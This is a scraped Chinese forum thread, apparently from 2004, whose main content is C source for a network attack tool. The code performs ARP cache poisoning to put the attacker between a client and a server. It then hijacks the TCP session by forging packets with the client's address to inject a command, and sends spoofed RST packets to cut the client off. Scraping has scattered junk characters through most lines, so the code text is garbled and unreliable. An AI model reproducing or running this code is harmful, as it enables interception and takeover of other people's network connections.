        { 1 q) L3 R5 c5 B. }( w- u
          pTmp-&gt;bActive = FALSE; & @$ t$ Q1 f# I% A
          return 0; 4 c$ W/ m; y/ ?% [# @( \" X% s
        }
" g" P' r9 e+ B        else return pTmp-&gt;ident;
9 `5 P5 f" J9 p7 [0 }/ B; Y. i- {      }
/ Q# ?  l& l7 ~: }& N: j, O    } 9 l# U9 q' b# z9 l
    pTmp = pTmp-&gt;Next;
- b+ i0 R1 Q. m5 N  } * B+ v- v- M' X' g% M7 T  E, X
  //not found, create new node
# i3 I% T7 g4 h& B8 U4 e% n  if( (!pTmp) &amp;&amp; (!bDelete) &amp;&amp; (bAddNew) )
3 K- g! i" \7 Y* ?  c  {
! G  K) F/ @8 G    //search unactive note
" q% V1 l4 u: A3 F% |! W    pTmp = g_pConnHead; " A: H' W# {9 N3 v6 N; o& b
    while(pTmp)   ~  h$ P2 Y; P5 ~3 Q, m
    { ' i  u. E9 @. L9 A1 }
      if(!pTmp-&gt;bActive) break; 7 q+ Z6 l' g* f# ?6 y
      pTmp = pTmp-&gt;Next;
9 [  R) a: Q" f9 W9 {0 z    } 5 W! v. F4 B4 ~+ r: g
    //found a unactive node 0 u3 G# m* W+ m1 M: n
    if(pTmp)
+ P. l% J8 t  b    { * h3 W' m/ v% F/ ?
      pTmp-&gt;dwServerIP = dwServerIP; + f' Y0 R& r6 `
      pTmp-&gt;uServerPort = uServerPort; " p2 G* \5 k1 J1 f4 N& `
      pTmp-&gt;dwClientIP = dwClientIP; ) \5 ^! i& R, R; S
      pTmp-&gt;uClientPort = uClientPort; + D  a8 I3 a" k
      pTmp-&gt;bActive = TRUE;
( v$ B. a/ H, D6 R* Q+ T7 i      return pTmp-&gt;ident; ; n; Y; Y9 ?$ j9 f- g! y
    }
( R. b% R+ J. f; A- J- n, A9 B1 q6 ~    //not found,create new node
: h4 g/ E. I0 i    pNew = (PCONNINFO)malloc(sizeof(CONNINFO));
/ V/ z' N$ ?7 T# c# E    if(!pNew) / Q3 q, r+ e7 ~( e7 c0 @: Q( i
    { - ?% z+ b" ~; h6 m
      printf("malloc for link node error:%d\n", GetLastError()); % M! z2 }9 h2 V* X
      return 0;
- P. T+ l* P8 J' t! \8 ~' [    }
2 ]/ x/ m- L3 o- s6 h# @" u) P    //fill the struct
, M- ^) x5 x# [5 h8 C* p    pNew-&gt;bActive = TRUE; 3 B6 T, t! m0 ?  ]. R) c2 g  ?: k' W
    pNew-&gt;dwServerIP = dwServerIP;
5 p! {; y& j( X! F    pNew-&gt;uServerPort = uServerPort; - ^/ c6 H" N5 c7 ?0 N4 U
    pNew-&gt;dwClientIP = dwClientIP; 9 N6 W8 ~% p( v0 F- I# _( D
    pNew-&gt;uClientPort = uClientPort;
1 }5 m: Y2 V6 C  t: {6 o/ i# c    pNew-&gt;ident = ++g_ident; 9 u3 X8 D7 l7 I4 [& B: ^0 }
    pNew-&gt;Next = NULL;
2 S" @- s+ C: _& y& E    //add new node to link
/ Y' i$ g* N" u2 x; l4 A3 B$ Y    if(!g_pConnHead) , y" @3 F$ H  H- B' L0 Z3 U
      g_pConnHead = g_pConnLast = pNew; : A% u0 |0 U; M3 a/ l
    else
- a6 l4 p+ i. d3 Q    { / p: u. i- n/ n. T
      g_pConnLast-&gt;Next = pNew;
" w' k( M/ h5 w; ]; z      g_pConnLast = pNew;
% k! T7 `, L1 D! _5 G2 _3 o. h    }
9 c7 j+ e- b& M1 ]    return pNew-&gt;ident;
2 p0 g' b- E. t8 T$ E$ Q  } ; {5 k5 B6 ]1 t8 W+ s
  return 0; 1 l# G& ^' I  E2 u$ j# Q( r" {
} + @. \; ^/ W! O* @$ [

2 c3 }5 ?9 K) O5 D* H9 h2 b// % S) t5 Y1 s" s4 i6 }+ n
//功能:判断一个数据包是不是只有ACK标志
% k$ b6 w! z* U, ]//
8 Q" ]1 R, f$ |3 aBOOL IsACKPacket(unsigned char flag)
  Y# g' }/ A+ N9 V0 C+ I{ ! o: b% w- _6 t0 @" t
  int  i, j=1; $ F1 k( k) N' I# M
  for(i=0 ; i&lt;4; i++)
2 o% d* k; Q/ l; _% u. T5 y$ y  {
) w8 R; S: B7 \  Y0 X    if(flag &amp; j) return FALSE; ' W! t' w9 S! `& K0 @
    j &lt;&lt;= 1;
+ {& U1 `, k, Y' d7 P" ^, j  }
: r( f" C  b3 s4 {: z1 D  if(!(flag &amp; 0x10)) return FALSE;//is ack? ; F* Z+ Y& Q) S1 i/ c; M' X8 l' H
  if(flag &amp; 0x20) return FALSE; ) M8 W5 ^6 v9 F$ S4 l. w
  return TRUE;
2 [! R* k1 G* d- n0 R* |. H8 a} & X6 T/ u* c* x5 y& U" j  j1 g; ?
# R  y; x, K; e6 N5 t( P# i
//
/ O  m! i9 L7 l- d$ v3 k- L//功能:伪装成Client给Server发送数据包 & ?/ w1 ^* |  @0 Z
//
9 L! Z& P1 N& [0 j/ |BOOL SendHiJackPacket(PTCPPACKET pTempletPacket)   j; z4 u+ D- Z0 S! ?
{
' e* O7 |' }0 T0 E1 Q  N( V+ h' y# u: z* T$ A
  char    szBuff[1520]; 4 A- [  g0 J) L& f! w) l" X' G' V
  PSDHDR    psdhdr;
$ G) A; \7 k, ~% v5 p& t0 h  V, d  PTCPPACKET  pHiJackPacket = NULL;
( d" Z' Y- [/ O% f# z( \  BOOL    bRet = FALSE;
8 V6 K. R& r$ M' b* m" o4 G- ?( F( ~9 o9 K
  __try / L7 m( O3 \  O* H6 J) F) H9 t9 @" S& d
  { 7 r/ E! H$ }- o/ m0 T
    // " Q* ], P' }- A
    if(!g_pCurrCtrlConn) __leave; 5 }& z. y; h4 g& O8 |1 [! _
    //allocate memory for hijack packet
4 X  J( `* h; E# `8 P" ]7 l9 p" q    pHiJackPacket = (PTCPPACKET)malloc(sizeof(TCPPACKET));
" c, w- a, W' T! h$ `    if(!pHiJackPacket) 2 T. i" g3 N1 e6 V5 f9 @# D) E
    { % o9 F( \5 N' A1 D
      printf("malloc error:%d\n", GetLastError());
6 F/ O5 c* o6 \5 H7 m  M5 I      __leave; 5 F, y- G8 O$ |& K& V- b) }
    } 6 C% L& r8 L5 w  k
    memcpy(pHiJackPacket, pTempletPacket, sizeof(TCPPACKET));
" E9 J) `" R( r/ A# ?: x    //-------------- modify the packet ---------------// 9 h  V$ s5 q4 W
    //modify ethernet head 2 }' a$ Q$ I) @$ s" N) t3 i6 e
    memcpy(pHiJackPacket-&gt;ehhdr.DestMAC, g_szServerSideMAC, 6);
7 W9 z9 a( W5 V' b- o- c% o  T$ \2 K1 H    memcpy(pHiJackPacket-&gt;ehhdr.SourceMAC, g_szOwnMAC, 6); 5 ~& [. I+ _6 p# B5 r, }
    //modify ip head " w3 v5 E, }# B! ?" T. T  W
    pHiJackPacket-&gt;iphdr.h_verlen = (4&lt;&lt;4 | sizeof(IPHDR)/sizeof(unsigned long)); : p/ h3 f* Q. k4 n* Z/ @; g0 ^* N
    pHiJackPacket-&gt;iphdr.total_len = htons(sizeof(IPHDR)+sizeof(TCPHDR)+strlen(g_szCommand)); 1 H9 I9 W$ d. J; x0 q; q7 a, p' {
    pHiJackPacket-&gt;iphdr.ident += 1;//标识加1
0 ~8 g" }$ f0 M, V    pHiJackPacket-&gt;iphdr.checksum = 0; 1 N, \/ ~( f6 ]; j
    pHiJackPacket-&gt;iphdr.sourceIP = g_pCurrCtrlConn-&gt;dwClientIP;//源IP地址,伪装成client % }# S6 r4 Q5 X6 ^- p/ u* S
    pHiJackPacket-&gt;iphdr.destIP = g_pCurrCtrlConn-&gt;dwServerIP;//目的IP地址,接收hijack包的地址 ; E3 J5 Z9 t: a% m1 ]  @* n
    //modify tcp head ( O2 Q! R) I- ~. x
    pHiJackPacket-&gt;tcphdr.th_sport = g_pCurrCtrlConn-&gt;uClientPort;//client's port $ }; B8 Q  h! }! Y; e
    pHiJackPacket-&gt;tcphdr.th_dport = g_pCurrCtrlConn-&gt;uServerPort;//server's port
1 T8 r8 h% n# I6 t( X    pHiJackPacket-&gt;tcphdr.th_lenres = (sizeof(TCPHDR)/4 &lt;&lt; 4 | 0); ( ~* i$ a  d% A* a% D6 f, s
    pHiJackPacket-&gt;tcphdr.th_flag = 0x18;// PA 6 b5 p$ m7 B& e/ W) h
    pHiJackPacket-&gt;tcphdr.th_sum = 0;
: i" N- b" p! J) j% g6 j# ?    pHiJackPacket-&gt;tcphdr.th_win = 0x3F44; & t3 ^- |7 J" N6 f6 ~' r) I; O
    //fill tcp psd head 1 i6 Z( ]& V; E8 r* I% L' k
    psdhdr.saddr = pHiJackPacket-&gt;iphdr.sourceIP;           + L9 g6 o7 z) h6 X7 i" ~% z0 b$ p
    psdhdr.daddr = pHiJackPacket-&gt;iphdr.destIP;           
8 M% U. _, B% w    psdhdr.mbz = 0; 5 D0 R' `# n# T& j3 @
    psdhdr.ptcl = IPPROTO_TCP; ! K6 _: j, l. @( x1 z
    psdhdr.tcpl = htons(sizeof(TCPHDR) + strlen(g_szCommand));//tcp head + data len / x( H$ Q. B1 T# S$ v& ?( ^
    //calculate tcp checksum     ! }* r- W# s) [( W9 ^1 K4 D& @
    memcpy(szBuff, &amp;psdhdr, sizeof(PSDHDR));   : [1 x& [  Y8 K. [
    memcpy(szBuff + sizeof(PSDHDR), &amp;pHiJackPacket-&gt;tcphdr, sizeof(TCPHDR));
% J1 I. n) p! m9 E4 \9 D" |6 ?( d* E    memcpy(szBuff + sizeof(PSDHDR) + sizeof(TCPHDR), g_szCommand, strlen(g_szCommand)); 4 m" m0 A* t: V; p$ w
    pHiJackPacket-&gt;tcphdr.th_sum = checksum((USHORT *)szBuff, sizeof(PSDHDR) + sizeof(TCPHDR) + strlen(g_szCommand));
1 l' ]0 O7 f) Z: d* Q    //calculate IP checksum 1 W# N9 Y2 l5 b* @. B
    pHiJackPacket-&gt;iphdr.checksum = checksum((USHORT *)&amp;pHiJackPacket-&gt;iphdr, sizeof(IPHDR)); 0 a9 a* `: q, Q
    //fill send buffer           
3 \, @* |7 _+ T5 I- A8 M; K    memcpy(szBuff, (char *)pHiJackPacket, sizeof(TCPPACKET)); + H  P6 B: I( c) `% m! {8 h0 P
    memcpy(szBuff + sizeof(TCPPACKET), g_szCommand, strlen(g_szCommand)); 4 y# v  |& _& q
    memset(szBuff + sizeof(TCPPACKET) + strlen(g_szCommand), 0, 4);
0 i1 x9 [( l5 [4 l, R8 ^( p    memset(g_lpSendPacket-&gt;Buffer, 0, 1514); ( F1 P# \' S2 A& W9 X3 K& A0 a; i
    memcpy(g_lpSendPacket-&gt;Buffer, szBuff, sizeof(TCPPACKET) + strlen(g_szCommand));
% l8 u8 ~& Q1 i: f    if(PacketSendPacket(g_lpAdapter, g_lpSendPacket, TRUE) == FALSE)
# s: E3 i3 a: k- }8 c* Q5 B& F    {
, H: U8 {$ I% r7 `0 ?& ~7 ~      printf("Error sending the hijack packets!\n"); ( y/ s( t& `8 v0 V; s: O* ?
      __leave;
* D6 {* u' V! V    } # c; m$ L4 v& p( A
    else printf("Send hijack packet ok!\n");
5 ]# f8 A+ D! I; K* _    bRet = TRUE;
8 m+ A) g& G# V# ?7 N! Z% b3 j  }
作者: 韩冰    时间: 2004-11-21 01:47
__finally
% g- G( v& b9 o3 g0 o7 I# ?  {
( A& T% N" j6 F0 Z4 b  I' i  S    if(pHiJackPacket) free(pHiJackPacket); 1 l7 z, y5 E3 N$ J' @/ t
  }
* k. v4 X8 E, U  return bRet; 9 Y& \! [  I3 [& Y! Q
} 5 Q: m5 k+ |6 S8 m  H' Y: [4 R
- @! W4 R0 l* G
% l+ v" ~( Q. A. l% H) X
// ( l% Q/ L6 H  `# V! F9 ]
//功能:伪装成Server给Client发送rst包
3 K. c; {: |2 s5 b6 a6 O5 U//
" U- n$ \, F( G$ i' ?& i4 u' w9 OBOOL SendRstPacket(unsigned int seq, unsigned int ack) 6 ]  A8 L/ Q* @, t7 F+ `; B" p: Y7 p+ [1 F
{ 2 _' a$ W! u" |3 Y/ K
  char    szBuff[60]; ; `% X5 g) m6 |3 T
  PSDHDR    psdhdr; , q/ a$ `2 F2 T6 q
  PTCPPACKET  pTcpPacket = NULL;
$ ^  v- L' i& h- g# ^  BOOL    bRet = FALSE; & d! X! t; D! G

$ C+ W+ U  G8 t% _  __try
0 c. @! P; ?' Y2 {1 [  {
+ A4 Z4 I5 S0 w, v1 ]7 j9 ^" |5 Y    //检查当前指向想控制的连接的信息的指针是否为空
5 D/ V1 L7 T% Z; P* z    if(!g_pCurrCtrlConn) __leave; ( x/ C. Q; M( m4 p
    //allocate memory for rst packet
, v& c( s4 H! C  l% x    pTcpPacket = (PTCPPACKET)malloc(sizeof(TCPPACKET));
8 d4 c/ R" p: L! d) E    if(!pTcpPacket) 5 \! w% t; q0 ^& w: j7 s8 A3 t. V' m5 Y
    {   S+ o1 ?3 y9 O7 ]
      printf("malloc error:%d\n", GetLastError()); 0 Z2 [1 Y  ]7 @& y6 Q$ |( L
      __leave;
3 R8 e: L/ p+ D# w( v4 ~, p$ J) U6 K    }
1 j' \& m1 s$ B' u$ D: Y    //fill ethernet head
5 O8 d* i8 g/ |  ]7 M3 B    memcpy(pTcpPacket-&gt;ehhdr.DestMAC, g_szClientSideMAC, 6);
8 p  k5 y1 ]+ E3 Y# j    memcpy(pTcpPacket-&gt;ehhdr.SourceMAC, g_szOwnMAC, 6);
/ G7 K9 Q2 t' _9 E1 d$ k( B    pTcpPacket-&gt;ehhdr.EthernetType = htons(EPT_IP);
/ M% J/ Q* l7 Q. [    //fil ip head
3 g9 H0 _' w4 A6 T* r# h    pTcpPacket-&gt;iphdr.h_verlen = (4&lt;&lt;4 | sizeof(IPHDR)/sizeof(unsigned long));
! J; ?: g0 W" ]+ B  ~- c* D9 h- m    pTcpPacket-&gt;iphdr.tos = 0;
# [7 s% [1 n% U5 w    pTcpPacket-&gt;iphdr.total_len = htons(sizeof(IPHDR)+sizeof(TCPHDR));
( p- ^9 d5 w3 A& B, ]4 ^# q6 C    pTcpPacket-&gt;iphdr.ident = 1;
+ E( g/ I5 @; a9 O    pTcpPacket-&gt;iphdr.frag_and_flags = 0; 8 n0 D4 Q7 n9 Y4 e9 S- h4 N
    pTcpPacket-&gt;iphdr.ttl = 128; # v/ ?3 h! H( e1 I2 _9 i
    pTcpPacket-&gt;iphdr.proto = IPPROTO_TCP; & S' ^/ h: X0 z: k# J0 y" [$ X
    pTcpPacket-&gt;iphdr.checksum = 0;
0 n5 c" v. A- Q, l  K# J! d: Q    pTcpPacket-&gt;iphdr.sourceIP = g_pCurrCtrlConn-&gt;dwServerIP;//源IP地址,伪装成服务器的 9 q" U$ l! f) t2 l( Z( ^* N9 u
    pTcpPacket-&gt;iphdr.destIP = g_pCurrCtrlConn-&gt;dwClientIP;//接收此rst包的ip地址 2 U5 J1 c, S5 _' T5 e5 i! M9 l8 h  I
    //fill tcp head 0 r# @+ f! \: L0 g9 E+ V/ [4 F
    pTcpPacket-&gt;tcphdr.th_sport = g_pCurrCtrlConn-&gt;uServerPort;//源端口号,伪装成服务器的端口 4 M3 n# g% u3 N4 X+ c4 f) Y
    pTcpPacket-&gt;tcphdr.th_dport = g_pCurrCtrlConn-&gt;uClientPort;//接收此rst包的端口
6 I/ W; S1 n  g2 s9 P$ F! J) {0 L6 E, v' g    pTcpPacket-&gt;tcphdr.th_seq = seq;//SYN 6 N0 H& @( o! ]$ Z" v
    pTcpPacket-&gt;tcphdr.th_ack = ack;//ACK
6 N( @5 k' g/ R0 L" V( N    pTcpPacket-&gt;tcphdr.th_lenres = (sizeof(TCPHDR)/4&lt;&lt;4|0); " B3 w# T- ]. \3 o/ A3 n9 \2 o
    pTcpPacket-&gt;tcphdr.th_flag = 4;//RST flag 1 T5 ]+ O' ]& v  u2 n% v3 p
    pTcpPacket-&gt;tcphdr.th_win = 0;
' I( W5 f; E" R( k" k    pTcpPacket-&gt;tcphdr.th_urp = 0;
! z2 I0 ?9 Z2 o" j- [2 x    pTcpPacket-&gt;tcphdr.th_sum = 0; ; I0 f! a  [" F0 c1 H5 L
    //fill tcp psd head
, ^' Q* @" c4 x4 I4 X9 }    psdhdr.saddr = pTcpPacket-&gt;iphdr.sourceIP;           1 T. S1 z. c, f; U, L4 d  L
    psdhdr.daddr = pTcpPacket-&gt;iphdr.destIP;           
& X1 r& c( i- P/ m$ h8 p) U+ n    psdhdr.mbz = 0; 2 U7 M. `  F( @' z* q! G) q, F
    psdhdr.ptcl = IPPROTO_TCP;
* _! {0 N; K: R2 w6 T+ l    psdhdr.tcpl = htons(sizeof(TCPHDR));
1 p5 C, F$ {8 u! X  \    //calculate tcp checksum     
2 B- m# W$ C. x6 Q6 p    memcpy(szBuff, &amp;psdhdr, sizeof(PSDHDR));   . Q5 ]7 j: c' C' q" C0 h
    memcpy(szBuff + sizeof(PSDHDR), &amp;pTcpPacket-&gt;tcphdr, sizeof(TCPHDR)); * {& F" D& W' c/ D& a
    pTcpPacket-&gt;tcphdr.th_sum = checksum((USHORT *)szBuff, sizeof(PSDHDR) + sizeof(TCPHDR)); & _- Y7 U( ~  S
    //calculate IP checksum 9 S! u' {/ }. P$ T
    pTcpPacket-&gt;iphdr.checksum = checksum((USHORT *)&amp;pTcpPacket-&gt;iphdr, sizeof(IPHDR)); , R- a7 p! Y" K* Y
    //fill send buffer
, [. Y% ~$ O! o    memset(g_lpSendPacket-&gt;Buffer, 0, 1514); * h  i, @- L# C# }& p3 F
    memcpy(g_lpSendPacket-&gt;Buffer, (char *)pTcpPacket, sizeof(TCPPACKET));
  w7 V* d* Y6 |; d5 X    if(PacketSendPacket(g_lpAdapter, g_lpSendPacket, TRUE) == FALSE)
; a3 K0 S  ?& [# ~    { , I* }7 V9 W8 H5 ^
      printf("Error sending the rst packets!\n");
2 c+ I- V: X/ V% m& ]% M      __leave; 7 }. Z- A& }1 k9 c
    }
2 h. S" w' Q) I( _1 M$ G    else printf("Send RST packet ok!\n");
; A% Q6 r2 c8 u' M9 Q# e    bRet = TRUE;
" }! j0 C1 I( I  Z) z% D% ~1 ^  }
3 \% T3 I6 }# F- P  __finally
- Q4 ?( n& I7 ?+ b  t  {
% A1 |0 t. T' b6 @- O" H    if(pTcpPacket) free(pTcpPacket); $ d* m: M+ {  t7 M; Z0 L1 _
  } 3 r# t3 W) X+ U
  return bRet; 9 A9 o1 b' x, A+ l
} 3 c# u- k/ W- a) e

# n9 R' f) f; L' f" I$ k% D0 \# q3 T//
* i" {3 T6 v1 E$ [& l" `//功能:计算校验和
& r( \  _1 K  J) a8 D/ N//
" ?( Q: F1 z* t* iUSHORT checksum(USHORT *buffer, int size) 4 Y: k% i# g$ W/ ?7 L( G
{ 2 c# f+ x; E# g: a  a" R  b1 J8 Z
unsigned long cksum=0;
1 R: h$ N+ |3 a* c1 u while(size &gt;1) { 0 j3 @. b) V1 H& R7 H! ]# H
  cksum+=*buffer++; 5 r* u. Z) p' j3 d/ H
  size -=sizeof(USHORT);
3 D, X: [% T  }0 G }
* r& b4 B, d! u: F9 z  B if(size ) {
: q; j3 `+ \0 S& q0 x: n% @  cksum += *(UCHAR*)buffer;
( w4 T, [# d4 G6 ?/ R; t! T6 N& f }
' X8 c& Q& X4 }# L" G  r/ p) | cksum = (cksum &gt;&gt; 16) + (cksum &amp; 0xffff);
: p0 K9 X9 S- O3 A3 p" u$ n cksum += (cksum &gt;&gt;16); ; [4 i3 M3 [7 M
return (USHORT)(~cksum);
1 }; N- j  c( [7 Q+ a9 ?}
' R& U: W, L  `; u3 A
. P% ?# H0 M. T5 W// % i9 H" c9 C3 Q' `% d' I1 Y
//功能:实施ARP欺骗
" }+ J; Y) D$ e! h9 t& {4 X8 n1 p//1 告诉ServerSide,ClientSide的mac是ownmac / |1 R% I3 N9 Z- C5 _3 }/ L1 \5 h
//2 告诉ClientSide,ServerSide的mac是ownmac
' h2 X* _7 L0 y+ r, n: q//
8 [( [6 e% l5 oDWORD WINAPI ArpSpoofThread(LPVOID lpType) + T* m! v9 u, A0 D+ [1 |: C" N" o
{
* ?- b$ w+ K/ z6 f" w) c! Q8 P" e% w  int  iType = *(int *)lpType;
5 x- v8 S6 I8 t$ \2 ^7 ^2 J  u8 K  ARPPACKET  ArpPacket;
+ u0 u3 H1 t* F$ U  LPPACKET  lpArpPacket; 0 Y1 t6 {3 T4 z" P, R" x# R% c9 _: m
  char    szArpBuff[60];
4 z, n. k- e% {: o* k; `
: i; }+ v8 U8 h9 Y: C- A  switch(iType) 9 N; K6 C: Q: m( `  Q( }
  {
# Q* R- e0 y( {3 p7 A    case 1:
' H3 X# k3 v. L8 a" {1 ?9 @      memcpy(ArpPacket.ehhdr.DestMAC, g_szServerSideMAC, 6); + z1 c7 z. J, N, T; P8 A
      ArpPacket.arphdr.DestIP = g_ServerSideIP; / _# e/ S6 X, g0 j
      ArpPacket.arphdr.SourceIP = g_ClientSideIP; % b, E! h# |, @# N5 n+ i& M: a& Q
      break;
) j0 l9 N& ~3 e1 W& A1 i5 T! @    case 2:
! @  m. H) f9 x3 d  w      memcpy(ArpPacket.ehhdr.DestMAC, g_szClientSideMAC, 6);
  c8 g5 X2 y" @5 o# [$ T      ArpPacket.arphdr.DestIP = g_ClientSideIP;
4 \& [' S+ e3 ^; ~+ E      ArpPacket.arphdr.SourceIP = g_ServerSideIP;
, ~6 T3 o1 D( s+ C      break; 3 U, W5 m; r2 p; Y- y
    default:
8 Z' Y8 a2 _4 p8 z* m( U      return 0; ; n- I2 V& z- v+ j8 z
  } 4 X1 c  j2 k5 A- \% x! t* r, L( |
  //ethernet head ! f4 A% I$ _- v8 u
  memcpy(ArpPacket.ehhdr.SourceMAC, g_szOwnMAC, 6); & p8 d* R1 u- }+ p
  ArpPacket.ehhdr.EthernetType = htons(EPT_ARP);//ethernet type
4 m5 W" y2 S  P" r: V  //arp head 5 {" @8 r1 \- a- J7 t3 ^' |& N
  memcpy(ArpPacket.arphdr.DestMAC, ArpPacket.ehhdr.DestMAC, 6);//dest's mac ! v3 ?) f5 f1 }  V, C$ s1 E
  memcpy(ArpPacket.arphdr.SourceMAC, g_szOwnMAC, 6);//sender's mac   `5 r, L: _; t5 w6 y* S. c# z
  ArpPacket.arphdr.HrdAddrlen = 6;
& l1 a3 _- l/ x! d# ]- X, I  ArpPacket.arphdr.ProAddrLen = 4; ; v& \6 r) g5 b6 U" P8 }
  ArpPacket.arphdr.HrdType = htons(ARP_HARDWARE);
8 n+ i7 [5 B; ^3 v* k  ArpPacket.arphdr.ProType = htons(EPT_IP);
% T* T$ |6 [/ i; y; {  X4 U) D1 |  ArpPacket.arphdr.op = htons(2);//arp reply 3 C; G# L' U. I9 ^  |  V3 u- V

3 l4 T- b. m8 ^/ {2 A3 V4 p) p  lpArpPacket = PacketAllocatePacket(); " f& g: F5 _7 M5 J2 t
  if(lpArpPacket == NULL)   i( O5 t  o. l4 G; U
  { " Y  a& [  b3 _; g/ ~! G. O
    printf("Error:failed to allocate the LPPACKET structure for Arp spoof.\n");
( w% o+ K+ ~$ A7 U: E  M! B    return 0;
% d. D: ]( {& I1 T% F, f1 w) @9 f  } 2 ^: x3 U& {- u. N. n+ `) p
  memset(szArpBuff, 0, sizeof(szArpBuff));
7 u) C4 a  F: B9 x; ?  memcpy(szArpBuff, (char *)&amp;ArpPacket, sizeof(ARPPACKET)); * w" O9 u6 {9 b. H0 w0 [& I
  PacketInitPacket(lpArpPacket, szArpBuff, 60);
9 {/ E- W% R* z2 X/ g5 W, G  //send arp packet ' F( J) F$ Z- Z
  while(1) * b8 K: \$ ]: C0 W
  {
: M9 `4 v% r1 n' G    if(PacketSendPacket(g_lpAdapter, lpArpPacket, TRUE) == FALSE)
( m  m' Z$ A  n) c: V8 D4 ~# V2 ^    {
+ x% B" ?% c5 h# _9 d      printf("Error sending the arp spoof packets!\n"); 4 X# {% a5 ~3 ?# J) p
      return 0; " x" B' O( x7 h( z$ w$ M4 H% V
    } , v" B( g- a+ \* p
    Sleep(1000); $ K+ c9 e  K( [( k
  }
2 e$ _: ^% m* O- E, {& ?  return 0; ( n4 l6 D* R- Z
}
* t. i: e1 V: }& K  v7 T
  X0 z" M+ E; N4 \//
. O2 p7 N6 \5 l" ^5 G//功能:输入IP取得对应的MAC地址
6 d5 \! e* M5 m. R" D( Q7 k// 2 |  x/ o# t2 j4 S1 i2 q
BOOL GetMACAddr(DWORD DestIP, char *pMAC) ( o+ h: f1 ]- T( q! k
{   ?" J: I7 ?  X% _  |
  DWORD  dwRet;
( D7 {( m, y5 ~$ \  ULONG  ulLen = 6, pulMac[2];
1 @; ]6 E( \- K+ _) K5 z- I2 F  dwRet = SendARP(DestIP, 0, pulMac, &amp;ulLen); , X3 t0 {$ |6 B+ I
  if(dwRet == NO_ERROR) % i: ]9 i' a- h1 p. R
  {
  y% X; U, H) _4 `; [6 b5 r- n    memcpy(pMAC, pulMac, 6);
) h) d0 ^+ W+ O, d/ a% W# i    return TRUE;
$ V$ N4 E9 e% w  }
5 w+ \' p6 d! g9 ]  else return FALSE;
. b, V. v0 Y3 W/ H}
作者: wy617958197    时间: 2014-9-4 20:48
大侠好厉害啊




欢迎光临 数学建模社区-数学中国 (http://www.madio.net/) Powered by Discuz! X2.5